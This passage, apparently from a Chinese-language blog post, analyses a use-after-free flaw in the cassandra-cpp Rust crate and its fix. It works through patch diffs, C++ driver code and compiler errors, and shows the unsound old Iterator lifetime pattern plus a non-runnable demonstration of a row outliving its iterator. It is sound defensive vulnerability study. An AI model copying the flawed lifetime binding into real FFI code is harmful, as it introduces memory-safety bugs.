_CassResult&gt;);</span><br><span class="line"></span><br><span class="line">-   <span class="comment">// The underlying C type has no thread-local state, but does not support access</span></span><br><span class="line">-   <span class="comment">// from multiple threads: https://datastax.github.io/cpp-driver/topics/#thread-safety</span></span><br><span class="line">-   <span class="keyword">unsafe</span> <span class="keyword">impl</span>&lt;<span class="symbol">&#x27;a</span>&gt; <span class="built_in">Send</span> <span class="keyword">for</span> <span class="title class_">ResultIterator</span>&lt;<span class="symbol">&#x27;a</span>&gt; &#123;&#125;</span><br><span class="line">+   <span class="comment">// The underlying C type has no thread-local state, and forbids only concurrent</span></span><br><span class="line">+   <span class="comment">// mutation/free: https://datastax.github.io/cpp-driver/topics/#thread-safety</span></span><br><span class="line">+   <span class="keyword">unsafe</span> <span class="keyword">impl</span> <span class="title class_">Send</span> <span class="keyword">for</span> <span class="title class_">ResultIterator</span>&lt;<span class="symbol">&#x27;_</span>&gt; &#123;&#125;</span><br><span class="line">+   <span class="keyword">unsafe</span> <span class="keyword">impl</span> <span class="title class_">Sync</span> <span class="keyword">for</span> <span class="title class_">ResultIterator</span>&lt;<span class="symbol">&#x27;_</span>&gt; &#123;&#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">impl</span>&lt;<span class="symbol">&#x27;a</span>&gt; <span class="built_in">Drop</span> <span class="keyword">for</span> <span class="title class_">ResultIterator</span>&lt;<span class="symbol">&#x27;a</span>&gt; &#123;</span><br><span class="line">        <span class="keyword">fn</span> <span class="title function_">drop</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>) &#123;</span><br><span class="line">            <span class="keyword">unsafe</span> &#123; <span class="title function_ invoke__">cass_iterator_free</span>(<span class="keyword">self</span>.<span class="number">0</span>) &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">-   <span class="keyword">impl</span>&lt;<span class="symbol">&#x27;a</span>&gt; <span class="built_in">Iterator</span> <span class="keyword">for</span> <span class="title class_">ResultIterator</span>&lt;<span class="symbol">&#x27;a</span>&gt; &#123;</span><br><span class="line">-       <span class="keyword">type</span> <span class="title class_">Item</span> = Row&lt;<span class="symbol">&#x27;a</span>&gt;;</span><br><span class="line">-       <span class="keyword">fn</span> <span class="title function_">next</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>) <span class="punctuation">-&gt;</span> <span class="type">Option</span>&lt;&lt;<span class="keyword">Self</span> <span class="keyword">as</span> <span class="built_in">Iterator</span>&gt;::Item&gt; &#123;</span><br><span class="line">+   <span class="keyword">impl</span> <span class="title class_">LendingIterator</span> <span class="keyword">for</span> <span class="title class_">ResultIterator</span>&lt;<span class="symbol">&#x27;_</span>&gt; &#123;</span><br><span class="line">+       <span class="keyword">type</span> <span class="title class_">Item</span>&lt;<span class="symbol">&#x27;a</span>&gt; = Row&lt;<span class="symbol">&#x27;a</span>&gt; <span class="keyword">where</span> <span class="keyword">Self</span>: <span class="symbol">&#x27;a</span>;</span><br><span class="line">+</span><br><span class="line">+       <span class="keyword">fn</span> <span class="title function_">next</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>) <span class="punctuation">-&gt;</span> <span class="type">Option</span>&lt;&lt;<span class="keyword">Self</span> <span class="keyword">as</span> LendingIterator&gt;::Item&lt;<span class="symbol">&#x27;_</span>&gt;&gt; &#123;</span><br><span class="line">            <span class="keyword">unsafe</span> &#123;</span><br><span class="line">                <span class="keyword">match</span> <span class="title function_ invoke__">cass_iterator_next</span>(<span class="keyword">self</span>.<span class="number">0</span>) &#123;</span><br><span class="line">                    cass_false =&gt; <span class="literal">None</span>,</span><br><span class="line">                    cass_true =&gt; <span class="title function_ invoke__">Some</span>(<span class="keyword">self</span>.<span class="title function_ invoke__">get_row</span>()),</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">fn</span> <span class="title function_">size_hint</span>(&amp;<span class="keyword">self</span>) <span class="punctuation">-&gt;</span> (<span class="type">usize</span>, <span class="type">Option</span>&lt;<span class="type">usize</span>&gt;) &#123;</span><br><span class="line">            (<span class="number">0</span>, <span class="title function_ invoke__">Some</span>(<span class="keyword">self</span>.<span class="number">1</span>))</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">-   <span class="keyword">impl</span>&lt;<span class="symbol">&#x27;a</span>&gt; ResultIterator&lt;<span class="symbol">&#x27;a</span>&gt; &#123;</span><br><span class="line">-       <span class="comment">/// Gets the next row in the result set</span></span><br><span class="line">-       <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">get_row</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>) <span class="punctuation">-&gt;</span> Row&lt;<span class="symbol">&#x27;a</span>&gt; &#123;</span><br><span class="line">+   <span class="keyword">impl</span> <span class="title class_">ResultIterator</span>&lt;<span class="symbol">&#x27;_</span>&gt; &#123;</span><br><span class="line">+       <span class="comment">/// Gets the current row in the result set</span></span><br><span class="line">+       <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">get_row</span>(&amp;<span class="keyword">self</span>) <span class="punctuation">-&gt;</span> Row &#123;</span><br><span class="line">            <span class="keyword">unsafe</span> &#123; Row::<span class="title function_ invoke__">build</span>(<span class="title function_ invoke__">cass_iterator_get_row</span>(<span class="keyword">self</span>.<span class="number">0</span>)) &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>重点关注其中的<code>next</code>函数，我们会发现，代码修改前后都声明了<code>Row</code>对象和这个<code>ResultIterator</code>的生命周期，同时<code>next</code>函数功能为调用<code>ResultIterator</code>迭代器中实现的<code>get_row</code>函数。</p><p><em>这边的<code>LendingIterator</code>为库自身实现的一个接口，本质上和原先<code>Iterator</code>写法类似，所以这里只是省略了没写，但是也是一样声明了生命周期，后面会提及</em></p><p>这个<code>get_row</code>函数调用的函数<code>cass_iterator_get_row</code>为一个CPP实现的函数，其细节如下</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">const</span> CassRow* <span class="title">cass_iterator_get_row</span><span class="params">(<span class="type">const</span> CassIterator* iterator)</span> </span>&#123;</span><br><span class="line">  <span class="keyword">if</span> (iterator-&gt;<span class="built_in">type</span>() != CASS_ITERATOR_TYPE_RESULT) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> CassRow::<span class="built_in">to</span>(<span class="built_in">static_cast</span>&lt;<span class="type">const</span> ResultIterator*&gt;(iterator-&gt;<span class="built_in">from</span>())-&gt;<span class="built_in">row</span>());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里的<code>ResultIterator</code>是一个表示迭代器的类，其实现如下</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">ResultIterator</span> : <span class="keyword">public</span> Iterator &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">  <span class="built_in">ResultIterator</span>(<span class="type">const</span> ResultResponse* result)</span><br><span class="line">      : <span class="built_in">Iterator</span>(CASS_ITERATOR_TYPE_RESULT)</span><br><span class="line">      , <span class="built_in">result_</span>(result)</span><br><span class="line">      , <span class="built_in">index_</span>(<span class="number">-1</span>)</span><br><span class="line">      , <span class="built_in">row_</span>(result) &#123;</span><br><span class="line">    decoder_ = (<span class="built_in">const_cast</span>&lt;ResultResponse*&gt;(result))-&gt;<span class="built_in">row_decoder</span>();</span><br><span class="line">    row_.values.<span class="built_in">reserve</span>(result-&gt;<span class="built_in">column_count</span>());</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="function"><span class="keyword">virtual</span> <span class="type">bool</span> <span class="title">next</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    <span class="comment">// skip code</span></span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="function"><span class="type">const</span> Row* <span class="title">row</span><span class="params">()</span> <span class="type">const</span> </span>&#123;</span><br><span class="line">    <span class="built_in">assert</span>(index_ &gt;= <span class="number">0</span> &amp;&amp; index_ &lt; result_-&gt;<span class="built_in">row_count</span>());</span><br><span class="line">    <span class="keyword">if</span> (index_ &gt; <span class="number">0</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> &amp;row_;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      <span class="keyword">return</span> &amp;result_-&gt;<span class="built_in">first_row</span>();</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">private</span>:</span><br><span class="line">  <span class="type">const</span> ResultResponse* result_;</span><br><span class="line">  Decoder decoder_;</span><br><span class="line">  <span class="type">int32_t</span> index_;</span><br><span class="line">  Row row_;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>这里可以看到<code>ResultIterator</code>对象中，存放了一个叫做<code>Row</code>的对象，这个对象被创建的时候，对应的<code>row_</code>对象也会被初始化，并且在名为<code>row</code>的函数中，会根据当前的<code>row_count</code>返回不同的指针。那么在这里我们可以得出第一条结论</p><blockquote><p>ResultIterator 和 Row 处在同一片内存空间中，当 ResultIterator 被销毁的时候，Row也将被销毁</p></blockquote><p>接下来，确认这个<code>ResultIterator</code>在程序中是如何创建和使用的:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">impl</span> <span class="title class_">CassResult</span> &#123;</span><br><span class="line">    <span class="comment">/// Gets the number of rows for the specified result.</span></span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">/// Creates a new iterator for the specified result. This can be</span></span><br><span class="line">    <span class="comment">/// used to iterate over rows in the result.</span></span><br><span class="line">    <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">iter</span>(&amp;<span class="keyword">self</span>) <span class="punctuation">-&gt;</span> ResultIterator &#123;</span><br><span class="line">        <span class="keyword">unsafe</span> &#123;</span><br><span class="line">            <span class="title function_ invoke__">ResultIterator</span>(</span><br><span class="line">                <span class="title function_ invoke__">cass_iterator_from_result</span>(<span class="keyword">self</span>.<span class="number">0</span>),</span><br><span class="line">                <span class="title function_ invoke__">cass_result_row_count</span>(<span class="keyword">self</span>.<span class="number">0</span>),</span><br><span class="line">                PhantomData,</span><br><span class="line">            )</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到，迭代器对象由<strong>CassResult</strong>对象创建，这里的<strong>CaseResult</strong>对象指针正是前面<strong>ResultIterator</strong>对象创建时使用的指针:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ResultIterator</span>(<span class="type">const</span> ResultResponse* result)</span><br><span class="line">    : <span class="built_in">Iterator</span>(CASS_ITERATOR_TYPE_RESULT)</span><br><span class="line">    , <span class="built_in">result_</span>(result)         <span class="comment">// CaseResult pointer</span></span><br><span class="line">    , <span class="built_in">index_</span>(<span class="number">-1</span>)</span><br><span class="line">    , <span class="built_in">row_</span>(result)            <span class="comment">// CaseResult pointer</span></span><br></pre></td></tr></table></figure><p>于是，这里能得到第二个结论</p><blockquote><p>CaseResult 的裸指针 传递给了 ResultIterator，并且ResultIterator中会使用 result_ 来操作对象</p></blockquote><p>那么这里就能看到第一个问题：当 CaseResult 在 ResultIterator 销毁前被销毁，ResultIterator使用next的时候就将访问一个未初始化的内存。。。吗？尝试编写一个这样的poc</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">let</span> <span class="variable">tmp_iter</span>;</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">result</span> = <span class="title function_ invoke__">get_result</span>();</span><br><span class="line">    tmp_iter = result.<span class="title function_ invoke__">iter</span>();</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">println!</span>(<span class="string">&quot;Using tmp iter here &#123;:?&#125;&quot;</span>, tmp_iter);</span><br></pre></td></tr></table></figure><p>很容易就会发现编译器报错，说明被rust编译器检查出来了。这要归功于 ResultIterator 声明的 PhantomData字段：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">    <span class="meta">#[derive(Debug)]</span></span><br><span class="line">-   <span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">ResultIterator</span>&lt;<span class="symbol">&#x27;a</span>&gt;(<span class="keyword">pub</span> *<span class="keyword">mut</span> _CassIterator, <span class="type">usize</span>, PhantomData&lt;&amp;<span class="symbol">&#x27;a</span> CassResult&gt;);</span><br><span class="line">+   <span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">ResultIterator</span>&lt;<span class="symbol">&#x27;a</span>&gt;(*<span class="keyword">mut</span> _CassIterator, <span class="type">usize</span>, PhantomData&lt;&amp;<span class="symbol">&#x27;a</span> _CassResult&gt;);</span><br></pre></td></tr></table></figure><p>可以看到，无论修改前还是修改后，<code>PhantomData</code>逻辑都是保留的，所以<code>ResultIterator</code>的生命周期始终和<code>CassREsult</code>保持同步，保护始终生效。换句话说，这个想法并非为漏洞点。</p><h3 id="核心漏洞点">核心漏洞点</h3><p>那漏洞到底出现在哪儿呢？回到我们分析的第一个点以及维护者提到的<code>next</code>，这个漏洞应该是由于迭代器引发的，那么本质上应该是一个迭代器相关的点触发的问题。重新检查patch，会发现一个很容易忽略的点，在许多的example文件中，都出现了类似的修改</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">-   <span class="keyword">for</span> <span class="variable">row</span> <span class="keyword">in</span> result.<span class="title function_ invoke__">iter</span>() &#123;</span><br><span class="line">+   <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">iter</span> = result.<span class="title function_ invoke__">iter</span>();</span><br><span class="line">+   <span class="keyword">while</span> <span class="keyword">let</span> <span class="variable">Some</span>(row) = iter.<span class="title function_ invoke__">next</span>() &#123;</span><br></pre></td></tr></table></figure><p>最初我以为这个修改无关痛痒，毕竟这个看起来只是用法不同。然而当我强行将其改成修改前的调用模式时，会提示如下的问题：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">error[E0277]: `cassandra_cpp::cassandra::result::ResultIterator&lt;&#x27;_&gt;` is not an iterator</span><br><span class="line">  --&gt; examples/simple2.rs:19:16</span><br><span class="line">   |</span><br><span class="line">19 |     for row in result.iter() &#123;</span><br><span class="line">   |                ^^^^^^^^^^^^^ `cassandra_cpp::cassandra::result::ResultIterator&lt;&#x27;_&gt;` is not an iterator</span><br><span class="line">   |</span><br><span class="line">   = help: the trait `Iterator` is not implemented for `cassandra_cpp::cassandra::result::ResultIterator&lt;&#x27;_&gt;`</span><br><span class="line">   = note: required for `cassandra_cpp::cassandra::result::ResultIterator&lt;&#x27;_&gt;` to implement `IntoIterator`</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>换句话说，这个写法会直接导致错误，因为修正后的<code>ResultIterator</code>并没有去实现<code>Iterator</code>的特征。实际上作者也进行了相关提醒:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">/// An iterator over the results of a query. The result holds the data, so</span><br><span class="line">/// the result must last for at least the lifetime of the iterator.</span><br><span class="line">///</span><br><span class="line">/// This is a lending iterator (you must stop using each item before you move to</span><br><span class="line">/// the next), and so it does not implement `std::iter::Iterator`. The best way</span><br><span class="line">/// to use it is as follows:</span><br></pre></td></tr></table></figure><p>结合报错以及生命周期声明，这里会注意到几个特点</p><ul><li>修复后的漏洞并没有继承Iterator，而是使用了自行定义的迭代器特征，所以才没办法使用<code>for-in-loop</code></li><li><code>ResultIterator</code>是一个C++中的对象，其中包含了一个<code>Row</code>对象，而非指针</li><li><code>ResultIterator</code>的生命周期和<code>Row</code>的生命周期在Rust中并非强绑定关系</li></ul><p>修复公告中强调<code>ResultIterator</code>不在支持<code>Iterator</code>而是<code>LendingIterator</code>，观察其代码如下</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">-   <span class="keyword">impl</span>&lt;<span class="symbol">&#x27;a</span>&gt; <span class="built_in">Iterator</span> <span class="keyword">for</span> <span class="title class_">ResultIterator</span>&lt;<span class="symbol">&#x27;a</span>&gt; &#123;</span><br><span class="line">-       <span class="keyword">type</span> <span class="title class_">Item</span> = Row&lt;<span class="symbol">&#x27;a</span>&gt;;</span><br><span class="line">-       <span class="keyword">fn</span> <span class="title function_">next</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>) <span class="punctuation">-&gt;</span> <span class="type">Option</span>&lt;&lt;<span class="keyword">Self</span> <span class="keyword">as</span> <span class="built_in">Iterator</span>&gt;::Item&gt; &#123;</span><br><span class="line">+   <span class="keyword">impl</span> <span class="title class_">LendingIterator</span> <span class="keyword">for</span> <span class="title class_">ResultIterator</span>&lt;<span class="symbol">&#x27;_</span>&gt; &#123;</span><br><span class="line">+       <span class="keyword">type</span> <span class="title class_">Item</span>&lt;<span class="symbol">&#x27;a</span>&gt; = Row&lt;<span class="symbol">&#x27;a</span>&gt; <span class="keyword">where</span> <span class="keyword">Self</span>: <span class="symbol">&#x27;a</span>;</span><br><span class="line">+</span><br><span class="line">+       <span class="keyword">fn</span> <span class="title function_">next</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>) <span class="punctuation">-&gt;</span> <span class="type">Option</span>&lt;&lt;<span class="keyword">Self</span> <span class="keyword">as</span> LendingIterator&gt;::Item&lt;<span class="symbol">&#x27;_</span>&gt;&gt; &#123;</span><br></pre></td></tr></table></figure><p>这个<strong>修改前</strong>的代码具有一定的迷惑性，乍一看它和修改后一样，<strong>都保持了ResultIterator和Item指代的Row类型生命周期长度一致</strong>，只不过一个直接显示的指定生命周期，一个使用了<code>Self</code>；一个使用<code>Item</code>指定了带有生命周期的<code>Row&lt;'a&gt;</code>，另一个声明了有生命周期的<code>Item&lt;'a&gt;</code>。然而实际上，<code>Row&lt;'a&gt;</code>的生命周期并非就是真的是<strong>Row</strong>对象。这里可以检查定义</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">    <span class="comment">/// A collection of column values. Read-only, so thread-safe.</span></span><br><span class="line">-   <span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Row</span>&lt;<span class="symbol">&#x27;a</span>&gt;(*<span class="keyword">const</span> _Row, PhantomData&lt;&amp;<span class="symbol">&#x27;a</span> CassResult&gt;);</span><br><span class="line">+   <span class="comment">//</span></span><br><span class="line">+   <span class="comment">// Borrowed immutably.</span></span><br><span class="line">+   <span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Row</span>&lt;<span class="symbol">&#x27;a</span>&gt;(*<span class="keyword">const</span> _Row, PhantomData&lt;&amp;<span class="symbol">&#x27;a</span> _Row&gt;);</span><br></pre></td></tr></table></figure><p>如果结合这段代码看，我们就能发现，修改前的<code>ResultIterator</code>的生命周期，实际上和<code>Row</code>中指定的<code>CassResult</code>生命周期保持一致。<code>CassResult</code>这个对象提供了接口获取<code>ResultIterator</code>对象，他们之间的关系类似于</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">CassResult --- Create --&gt; ResultIterator </span><br><span class="line">                            |</span><br><span class="line">                            +-- Create from self --&gt; Row</span><br></pre></td></tr></table></figure><p>从设计角度上看，也没太多问题，毕竟<strong>查询结果的每一行的生命周期与查询结果一致</strong>是理所当然的。然而在实现过程中，<strong>Row自于ResultIterator，而这没有显示的指明Row与ResultIterator的关系</strong>，这就导致在修改前<strong>ResultIterator和Row在Rust中允许生命周期长度不同，而在C中这两个对象却来自于同一块内存</strong>。这种场景中，一旦声明变量为<code>Row</code>类型，并且生命周期长度超过了<code>ResultIterator</code>，就会导致<strong>Row对象在ResultIterator被销毁后依然被使用</strong>。同时，由于生命周期声明错误，Rust编译器也会无法察觉当前问题，就会产生前文提到的UAF问题。</p><p>举个例子（这个代码只用于示范，无法运行）</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">tmp_row</span> = <span class="literal">None</span>;</span><br><span class="line"><span class="keyword">let</span> <span class="variable">result</span> = function.<span class="title function_ invoke__">get_result</span>();</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">for</span> <span class="variable">row</span> <span class="keyword">in</span> result.<span class="title function_ invoke__">iter</span>() &#123;</span><br><span class="line">        <span class="keyword">if</span> condition.<span class="title function_ invoke__">satisfied</span>():</span><br><span class="line">            tmp_row = <span class="title function_ invoke__">Some</span>(row)</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">println!</span>(<span class="string">&quot;here will cause problem &#123;:?&#125;&quot;</span>, tmp_row);</span><br></pre></td></tr></table></figure><p><em>实际上，这种代码在实际中很可能存在</em></p><h3 id="修复策略">修复策略</h3><p>作者首先提供了<code>LendingIterator</code>，这个接口如下:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">LendingIterator</span> &#123;</span><br><span class="line">    <span class="comment">/// The type of each item.</span></span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Item</span>&lt;<span class="symbol">&#x27;a</span>&gt;</span><br><span class="line">    <span class="keyword">where</span></span><br><span class="line">        <span class="keyword">Self</span>: <span class="symbol">&#x27;a</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/// skip some code</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到，这边声明<strong>关联类型</strong> <code>Item</code> 的时候，强制指定其要与<code>Trait</code>对象一致。换句话说，这里描述的<code>trait</code>要求<strong>实现当前接口的对象要和Item对象包含的结构成员生命周期保持一致</strong>。这其实是一个Rust提供的新特性（作者在README提到）<a href="https://blog.rust-lang.org/2022/11/03/Rust-1.65.0.html#generic-associated-types-gats">连接在这</a></p><p>概括来说，这个特性能够实现以下的效果：</p><ul><li>定义一个特征，并且在接口中声明一种关联类型的时候，声明生命周期，并且指定其和Self一致</li><li>当某个特定的结构体实现特征的时候，这个结构体使用关联类型参与的特征函数时，<strong>结构体与特征生命周期保持一致</strong></li></ul><p>最典型的就是我们上述提到的这个场景：我们需要迭代器与迭代器其中的类型生命周期保持一致。<strong>修复主要是通过这个特性实现的</strong></p><p>其次，这里的<code>Row</code>也进行了一定的修改</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">    <span class="comment">/// A collection of column values. Read-only, so thread-safe.</span></span><br><span class="line">-   <span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Row</span>&lt;<span class="symbol">&#x27;a</span>&gt;(*<span class="keyword">const</span> _Row, PhantomData&lt;&amp;<span class="symbol">&#x27;a</span> CassResult&gt;);</span><br><span class="line">+   <span class="comment">//</span></span><br><span class="line">+   <span class="comment">// Borrowed immutably.</span></span><br><span class="line">+   <span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Row</span>&lt;<span class="symbol">&#x27;a</span>&gt;(*<span class="keyword">const</span> _Row, PhantomData&lt;&amp;<span class="symbol">&#x27;a</span> _Row&gt;);</span><br></pre></td></tr></table></figure><p>这里的幽灵数据指向了Row自己（这个<code>_Row</code>就是来自C++的Row的指针）。</p><p>结合上述修改，此时<strong>Row指针的生命周期就和ResultIterator</strong>绑定了。如果此时我们尝试在<code>ResultIterator</code>生命周期使用取出来的<code>Row</code>，此时则会提示其中一方生命周期超出另一方，最终造成问题：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">error[E0597]: `iter` does not live long enough</span><br><span class="line">  -<span class="punctuation">-&gt;</span> example.rs</span><br><span class="line">   |</span><br><span class="line"><span class="number">21</span> |     <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">iter</span> = result.<span class="title function_ invoke__">iter</span>();</span><br><span class="line">   |         -------- binding `iter` declared here</span><br><span class="line"><span class="number">22</span> |     <span class="keyword">while</span> <span class="keyword">let</span> <span class="variable">Some</span>(row) = iter.<span class="title function_ invoke__">next</span>() &#123;</span><br><span class="line">   |                           ^^^^ borrowed value does not live long enough</span><br><span class="line">...</span><br><span class="line"><span class="number">28</span> |     &#125;</span><br><span class="line">   |     - `iter` dropped here <span class="keyword">while</span> still borrowed</span><br><span class="line"><span class="number">29</span> |</span><br><span class="line"><span class="number">30</span> |     <span class="built_in">println!</span>(<span class="string">&quot;here will cause problem &#123;:?&#125;&quot;</span>, tmp_row);</span><br><span class="line">   |        </span><br></pre></td></tr></table></figure><h3 id="其他点分析">其他点分析</h3><p>除去刚刚的漏洞点外，代码还给很多对象增加了幽灵数据，例如：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">    <span class="meta">#[derive(Debug)]</span></span><br><span class="line">-   <span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">RowIterator</span>(<span class="keyword">pub</span> *<span class="keyword">mut</span> _CassIterator);</span><br><span class="line">+   <span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">RowIterator</span>&lt;<span class="symbol">&#x27;a</span>&gt;(*<span class="keyword">mut</span> _CassIterator, PhantomData&lt;&amp;<span class="symbol">&#x27;a</span> _Row&gt;);</span><br></pre></td></tr></table></figure><p>并且也增加了对应的一些接口函数等等</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">-   <span class="keyword">impl</span> <span class="title class_">Drop</span> <span class="keyword">for</span> <span class="title class_">RowIterator</span> &#123;</span><br><span class="line">+   <span class="keyword">impl</span> <span class="title class_">Drop</span> <span class="keyword">for</span> <span class="title class_">RowIterator</span>&lt;<span class="symbol">&#x27;_</span>&gt; 